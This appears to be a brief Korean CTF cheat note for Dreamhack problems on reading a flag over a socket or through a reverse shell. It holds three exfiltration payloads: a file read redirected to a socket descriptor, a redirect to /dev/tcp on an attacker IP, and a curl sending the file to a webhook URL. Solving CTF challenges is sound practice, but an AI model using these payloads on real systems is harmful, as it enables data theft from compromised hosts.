when socket connection or intend reverse shell in dreamhack problem

우리가 드림핵 문제를 풀때 소켓통신을 해서 플래그가 내 셸에 안뜨거나 문제자체가 리버스 셸을 요구하는 경우가 있다.

소켓통신 일때 →

p.send(b'bash -c "cat /home/chatbot/flag >&4"')

리버스 셸 일때 →

p.send(b'bash -c "cat /home/chatbot/flag >&/dev/tcp/{공인 ip}/1234"')

웹훅 사용 →

Python
payload = 'curl [https://webhook.site/5b4c062a-9b0a-4252-9046-eaf80e65eb91/?flag=`cat](https://webhook.site/5b4c062a-9b0a-4252-9046-eaf80e65eb91/?flag=%60cat) flag`'

다음과 같은 방법들로 flag를 읽어 올 수 있다.